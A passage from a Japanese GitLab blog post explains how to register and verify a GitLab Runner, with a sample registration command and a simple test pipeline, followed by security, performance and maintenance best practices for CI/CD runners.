Runner認証トークンを入力し、\n\n4. RunnerとジョブタグのDescriptionを追加し、\n\n5. 選択したExecutor（Docker、Shell、Kubernetesなど）を入力します。\n\n同一のホストマシン上で異なる設定を持つ複数のRunnerを登録するには、`register`コマンドを繰り返します。また、同一の設定を複数のホストマシンに登録するには、[各Runner登録で同じRunner認証トークンを使用](https://docs.gitlab.com/ja-jp/runner/fleet_scaling/#reusing-a-runner-configuration)してください。\n\n非インタラクティブモードを使用して、追加の引数でRunnerを登録することもできます。\n\nLinuxを例に挙げると：\n\n```shell\nsudo gitlab-runner register \\\n  --non-interactive \\\n  --url \"https://gitlab.com/\" \\\n  --token \"$RUNNER_TOKEN\" \\\n  --executor \"docker\" \\\n  --docker-image alpine:latest \\\n  --description \"docker-runner\"\n``` \n\n## Runnerの動作確認と使用開始\n\nワークフローにRunnerを組み込む前に、正常に動作しているかどうかを確認してください。\n\n1. GitLab UIで確認する。\n\n  a. プロジェクト内で **設定 > CI/CD > Runners** に移動します。\n\n  b. Runnerが**アクティブかつ正常**であることを確認します。\n\n2. 選択したインストール方法に応じて**コマンドライン**で確認します。\n\n3. `.gitlab-ci.yml`ファイルを作成してシンプルなパイプラインでテストします。\n\n```yaml \n\ntest-runner: \n  stage: test \n  script: \n   - echo \"Hello GitLab Runner\" \n   - hostname \n   - date \ntags: \n   - my-tags # ⚠️ Replace with YOUR runner's tags\n```\n\n## GitLab Runnerのセキュリティと最適化のベストプラクティス\n\n設定が不適切なGitLab Runnerは、パフォーマンスの低下やセキュリティ上の問題を引き起こす可能性があります。[CI/CDパイプライン](https://about.gitlab.com/ja-jp/topics/ci-cd/cicd-pipeline/ \"CI/CDパイプラインとは？\")を最大限に活用するためのベストプラクティスをご紹介します。\n\n### Runnerのセキュリティ\n\n- **隔離された環境を優先する**：ホストマシン上でコマンドを直接実行するShellモードではなく、ジョブ間の明確な分離を提供する**Docker**または**Kubernetes**のExecutorを優先して使用してください。\n\n- **権限を制限する**：必要でない限り、RunnerにAdminの権限を付与しないでください。攻撃対象領域を減らすため、最小限の権限で設定してください。\n\n- **タグによるアクセスを制御する**：特定のジョブのみが実行されるよう、Runnerに特定のタグを割り当ててください。これにより、意図しないジョブが機密性の高いRunner上で実行されるリスクを防げます。\n\n### パイプラインのパフォーマンスと速度\n\n- **軽量イメージを使用する**：Docker ExecutorではビルドやCI要件に最適化されたイメージを選択してください（例：十分であれば`ubuntu`ではなく`alpine`）。これによりコンテナの起動時間を短縮できます。\n\n- **キャッシュを設定する**：GitLabのキャッシュ機能を活用して、複数のパイプライン間で依存関係や生成ファイルを再利用してください。これにより全体的な実行時間が短縮されます。\n\n- **並列実行する**：ジョブを並列で実行できる複数のステージに分割し、パイプライン全体の時間を短縮してください。\n\n### メンテナンスと信頼性\n\n- **Runnerを定期的に更新する**：各バージョンにはバグ修正と新機能が含まれています。RunnerをGitLabのバージョンと同期させておくことで、互換性と安定性が確保されます。\n\n- **Runnerを監視する**：組み込みメトリクス（例：Prometheus経由）を使用して、負荷、ジョブ実行時間、リソース使用状況を追跡してください。これによりボトルネックを事前に把握できます。\n\n- **冗長性を確保する**：重要な環境では、負荷を分散しインシデントによるパイプライン停止を防ぐため、複数のRunnerをインストールしてください。\n\n## GitLab CI/CDをさらに活用するために\n\n**GitLab Runner**は、GitLabのCI/CDパイプライン、セキュリティテスト、完全な自動化と連携することで真の価値を発揮します。共有サービスモデルにおけるGitLab Runnerフリートの管理に関するベストプラクティスについては、[ドキュメント](https://docs.gitlab.com/ja-jp/runner/fleet_scaling/)もあわせてご覧ください。\n\n> **[→ GitLab UltimateおよびGitLab Duo Enterpriseを無料でお試しください。](https://about.gitlab.com/ja-jp/free-trial/devsecops/?utm_medium=blog&utm_source=blog&utm_campaign=eg_apj_x_trial_x_ja_blog_ja)**\n",[912],"2026-03-17","GitLab Runner とは？インストールから設定・活用まで解説",[88,821,850],"GitLab RunnerはCI/CDパイプラインのジョブを、安定した速度で自動実行します。インストール・設定・最適化を通じて、より安全で再現性の高いビルドを実現しましょう。",{"featured":641,"template":796,"slug":1240},"what-is-gitlab-runner",1777310005561]